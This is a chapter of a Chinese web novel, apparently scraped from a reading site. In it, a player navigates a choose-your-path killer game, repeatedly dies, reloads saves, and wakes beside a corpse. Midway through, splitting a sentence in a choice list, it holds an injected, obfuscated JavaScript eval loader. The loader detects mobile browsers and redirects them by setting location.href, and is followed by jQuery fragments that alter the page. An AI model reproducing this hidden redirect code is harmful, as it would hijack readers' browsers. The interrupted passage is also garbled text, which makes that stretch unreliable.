2. 1-day1-2
作品:《杀人魔的游戏》 从规则来看,这似乎是12位普通村民+1位狼人的极简版狼人杀。
不过游戏不是以“票出狼人”结束,而是存活21天。
但是即使不公布被票死的“是否为狼人”,只要看后续几天是否有玩家死亡,也能判断出投票是否正确。
这么看来,《杀人魔的游戏》和狼人杀的规则,可以说是相差无异。
夏允忍不住悄悄松了口气。
看来这一关应该并不复杂。
达成最终结局,无疑就是找到真正的杀人魔破解游戏的真相。
虽说夏允不敢自称狼人杀玩得有多厉害,但有存档+读档这个堪称bug一般的技能,她便拥有无限试错的能力。
就算是用排除法,一个一个试,最后也能把杀人魔揪出来。
【看到游戏规则后,你决定:】
【A.将规则藏起来。】
【B.将规则销毁。】
【C.将规则还给安妮。】
【D.将规则放在醒目的位置,让其他玩家也都能看见。】
夏允选择了C。
将牛皮纸藏起来这一行为十分可疑,但夏允并没有草率地将安妮判定为杀人魔。
她打算物归原主,静观其变。
【你费力地抬起安妮的身体,将牛皮纸放回安妮的背后,然后松开手,让安妮继续躺在地上。】
就这么让安妮躺地上真的没问题吗?
低血糖晕过去就这么放任不管,出事了算谁杀的?
可夏允的行为无法受自己控制,她只能被动地看着眼前出现的字幕。
【接下来你选择:】
【A.探索中庭。】
【B.回到房间。】
【C.探索其他地点。】
夏允选择了A。
【刚刚的运动量似乎超过了身体的负荷,你有些疲惫。你坐在黑色的地毯上,开始观察四周。】
【中庭的四角分别联通四条长廊。】
【东方是你来时的方向。】
【南方散发着微弱的光亮。】
【西方和北方黑黢黢一片。】
【中庭的空间很大,但只在毛毯上摆放了一张小桌几,桌几上坐着一只巨大的花盆,花盆里盛开着陌生的花。】
【你发现花盆似乎有点歪,有零散的土屑撒了出来。】
【联想到牛皮纸上沾染的土渍,你知道安妮是从花盆里刨出了这份规则。】
【你站起身,来到花盆前,仔细地翻了翻花盆里松软的土壤,你并没有发现任何可疑物品。】
【你擦了擦手,仰头望去。】
【中庭的上方是一片空旷的空间,向上看去,你能看到高高的棚顶。】
【水晶灯高悬着,在漆黑的地毯上折射出五彩斑斓的光。】
【你数了一下,这栋建筑共有三层楼。】
【你发现,东方和西方分别有两部电梯。】
【你决定:】
【A.继续在一楼探索。】
【B.乘坐电梯。】
夏允选了B。
【你决定乘坐电梯。】
【你来到位于东方的1号电梯前,你发现电梯似乎需要刷卡才能启动。】
【你来到位于西方的2号电梯前,你发现电梯似乎需要刷卡才能启动。】
【你决定:】
【A.继续在一楼探索。】
【B.乘坐电梯。】
夏允选择了B。
【乘坐电梯需要刷卡,是否刷电梯卡?】
【A.刷卡。】
【B.离开。】
夏允选择了A。
【你未携带电梯卡,你决定:】
【A.继续在一楼探索。】
【B.乘坐电梯。】
看来『电梯卡』是重要道具,没有的话现在连2、3楼都无法探索。
乘坐电梯这条路彻底被堵死了,夏允只得选择A继续在一楼探索。
【你决定继续在1楼探索,你选择:】
【A.在晕倒的安妮身旁睡觉。】
【B.回到房间。】
【C.前往南方散发微弱光亮的长廊。】
【D.前往西方黑黢黢长廊。】
【E.前往北方黑黢黢长廊。】
5个选项吗?
虽然其中混入了某个纯是来搞笑的选项,但谨慎起见,夏允还是存了个档,而后选择了C。
【2、DAY1中庭已存档】
【你决定前往南方散发微弱光亮的长廊。】
【不过让你失望的是,光亮的来源并非是出口,而是厨房里亮着灯。】
【寻着那缕光,你来到了厨房。】
【看到了一个吃方便面吃得正香的男生。】
【你发现他的脖子上有着和你同款的项圈,上面滚动播放着一行字:剩余时间20天20小时05分12秒】
“唔唔唔唔?”男生看到你面露惊恐。
【你听不懂男生在说什么,但这不重要。】
【在这种时点,遇到可以自由行动的玩家,并不是什么好事。】
【你需要和他保持距离,于是你决定转头就走。】
【可男生三两口就将嘴里的食物吞下,急忙问道:】
“你的头怎么了?”
【“没什么。”你留下一句话,打算匆匆离去。】
“怎么可能没什么!你流了好多的血!”
“不行!120!我现在就要叫救护车,哦不对我手机没了!你手机还在吗?”
“借我一下你的手机,我来叫120!”
【男生驴唇不对马嘴的话让你觉得十分不靠谱,你头也不回地转身就走。】
【可这时,男生却说道:】
“等等!莉莉!”
【男生似乎认识你。】
【这让你决定留下来,听听他要讲什么。】
“莉莉,你是莉莉吧!”男生不断重复着这个名字,似乎想要确认身份。
【你觉得刚刚停下脚步无疑是一个糟糕的决定,你还是决定转身就走。】
“真的是你莉莉!你出院了吗!”
【“我们认识吗?”你说。】
“当然,哦不,应该是我认识你,你不一定认识我。”男生擦了擦嘴,露出了一个爽朗的笑。
白呲呲的大牙上还沾着一点香菜碎末。
他说,“你好莉莉,我是3年A班的佩奇。”
【已解锁角色面板】
【姓名:佩奇。】
【性别:男】
【身份:韦利高中三年A班学生。】
【特长:未知】
【弱点:未知】
【好感:1】
相比于同为韦利高中的学生,夏允更关注的是佩奇的好感竟然有1。
难道是因为之前认识莉莉的原因吗?
竟然携带了初始1点好感。
不过好感度在狼人杀游戏里能起到什么作用?
似乎是为了回应夏允心中所想,一行白字浮现在夏允的眼前:
【重要提示:角色好感度会在极大程度上影响剧情的走向。】
会影响剧情走向?
也就是说刷了杀人魔的好感度,就不会被杀死?
不,也不一定。
搞不好杀人魔是个变态,好感度越高越要弄死,也说不定。
这边游戏剧情的正常推进拉回了夏允的思绪。
“对了,你也饿了吗?我给你也泡一碗面。”佩奇热络地说。
他丝毫没有生疏同学之间见面的矜持,更没有置身于杀人魔游戏的紧张。
【这个人不太正常,你想。】
似乎是看出了你的犹疑,佩奇恍然大悟地说,“对了,你刚出院,身体还没恢复,应该不能吃泡面……”
【佩奇又说了些什么,但你并不打算继续听了。】
【你离开厨房,并回到中庭。】
【你决定继续在1楼探索,你选择:】
【A.在晕倒的安妮身旁睡觉。】
【B.回到房间。】
【C.前往南方散发微弱光亮的长廊。】
【D.前往西方黑黢黢长廊。】
【E.前往北方黑黢黢长廊。】
如果是自身意志,夏允可能还会回到厨房搞点糖水,抢救一下一旁的低血糖患者。
但她在这一关扮演的是莉莉。
莉莉觉得安妮应该在地上躺着。
莉莉认为应该和其他玩家保持距离。
莉莉觉得佩奇不太正常。
不太正常的佩奇?
夏允不知道这句话似乎别有深意,她打开角色面板调出佩奇的个人信息,却发现最下方的好感度赫然降为了0.
才见一面初始好感就没了?
看来她不能再回到厨房。
于是夏允选择了D。
【你前往西方黑黢黢的长廊。】
【……】
【你死了。】
【达成结局:】
【BE1:杀人魔的首杀。】
夏允:……?
猝不及防的黑屏让夏允愣在了原地。
因为被游戏剧情控制时,夏允本人没有任何存在感。
她能看到的只有一行惨白的字幕,血淋淋地宣布着她的死亡结局。
在哪、被谁、怎么杀的一概不知。
杀人魔会是谁?
夏允试图保持冷静。
是倒地不起的安妮吗?
所以安妮晕倒只是装的,为的就是伺机而动杀死她。
还是好感度清零的佩奇?
先是佯装无事发生拉进关系,而后暗中尾随完成首杀。
亦或者是藏在黑暗里并未解锁的其他10个角色之一?
【请选择你要读取的档位。】
【1、DAY1房间内。】
【2、DAY1中庭。】
【2、DAY1中庭。】
画面一闪,夏允重新回到了中庭。
脚下是松软的黑色地毯,旁边是倒地不起的安妮。
剧情节点又回到了五选一的情节。
【你决定继续在1楼探索,你选择:】
【A.在晕倒的安妮身旁睡觉。】
【B.回到房间。】
【C.前往南方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310002|167249||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
散发微弱光亮的长廊。】
【D.前往西方黑黢黢长廊。】
【E.前往北方黑黢黢长廊。】
上一次的行动路线是:首先去了位于南方餐厅,在厨房遇到了佩奇,而后回到中庭,去位于西侧的长廊,莫名死亡。
那这次直接去西方长廊,避开与佩奇的对话环节会怎样?
夏允直接选择了D。
【你前往西方黑黢黢的长廊。】
【……】
【你死了。】
【你的尸体在第二天早上被同学们发现。】
【很遗憾,第一次正式的自我介绍是验尸现场,虽然你本人到场,却无法开口发言。】
【达成结局:】
【BE1:杀人魔的首杀。】
看来并没有区别,D就是死亡选项。
不过这次的死亡结局,多出了一句话,其中隐藏着非常重要的信息“同学们”。
果然,这13位玩家都是学生,也就是说隐藏其中的杀人魔,其实也只是一位学生?
带着这样的疑问,夏允又一次读档重来,这才她选择了E。
【你前往北方黑黢黢的长廊。】
【……】
【你死了。】
【你的尸体在第二天早上被同学们发现。】
【很遗憾,第一次正式的自我介绍是验尸现场,虽然你本人到场,却无法开口发言。】
【达成结局:】
【BE1:杀人魔的首杀。】
很好,北方长廊也是死亡选项。
连着被杀三次的夏允,面无表情且动作熟练地读档重来。
这次她选B回屋睡觉总可以了吧?
【你回到了你的房间。】
【不过你似乎忘记锁门了。】
【第二天,同学们推开了你半掩的房门,看到了你惨死的尸体。】
【他们会以一种独特的方式,永远地记住你。】
【达成结局:】
【BE1:杀人魔的首杀。】
夏允:……?
怎么回房间还能被杀!这杀人魔是专门盯着“她”杀吗!
还有,明知道危险还不锁门,“她”的脑子是有坑吗!
夏允气得连“自己”也一起骂了。
她此时再也没有了对简易版狼人杀的轻视。
而这恼火中,又生出几分誓要把杀人魔逮到投出局的决心。
又一次重回熟悉的中庭,夏允面无表情地选择了A。
虽然不久以前她还吐槽这个选项纯是来搞笑的,但经过一系列绝命排除,她只得被迫选择搞笑。
【……】
【你觉得很累。】
【持续的行动让你的身体有些吃不消。】
【你能感受到你的心跳有些紊乱。】
【你需要坐下来休息一会。】
【你靠在安妮的身旁。】
【你努力回忆这两天到底发生了什么,你觉得很不可思议。】
【真的能活到第21天吗?】
【想到这里,你开始感到紧张与恐惧。】
【可你看到了身旁的安妮,她恬静祥和,似乎睡得很香甜。】
【耳边传来沉重的呼吸声,听着这有规律的气息声,渐渐地,你的心跳开始平复下来。】
【你感到眼皮有些沉】
【中庭的温度有些低,也许你应该回到房间里睡觉。】
【但你的身体实在不太舒服,你感受到了疲惫,你不小心睡着了。】
【可你睡得并不踏实。】
【朦胧中,你察觉有人走了过来了。】
【你拼命地想要睁开眼,确认是谁,可最终还是失败了。】
【也许这只是一个梦。】
【醒来后……会……】
【……】
【你被人用力地摇醒。】
“你还活着吗!快醒醒!”
【被人叫醒后,你大口大口地喘着粗气,你费力地辨认着面前陌生的面孔。】
出现在夏允面前的新角色,拥有一张方方正正的国字脸,粗粗的眉毛配上坚毅的眼神,显得整个人正义凛然。
【你终于想起来,你此刻正置身于杀人魔的游戏当中。】
【面前的同学,也是玩家之一。】
【“怎么了?”你努力平复着激烈的心跳。】
“还活着!她还活着!”国字脸男生惊喜地大声说道。
“妈呀,真的还活着,这一头血的,我还以为她也死了。”佩奇从国字脸男生身后钻了出来。
【你这才发现,有一群身着制服的同学,正在围观你。】
【这让你十分不适。】
“昨天晚上发生了什么?”质问的声音从不远处传来。
【你寻声望过去,看见一位一头长发乌黑柔顺的女生,正半跪在安妮的身旁,不客气地看着你。】
【“发生了……什么?”你迷茫地反问。】
“她死了,你不知道?”
【……】
【你用了一些时间才搞清楚状况。】
【安妮死了。】
【而你和这具尸体共同睡了一夜。】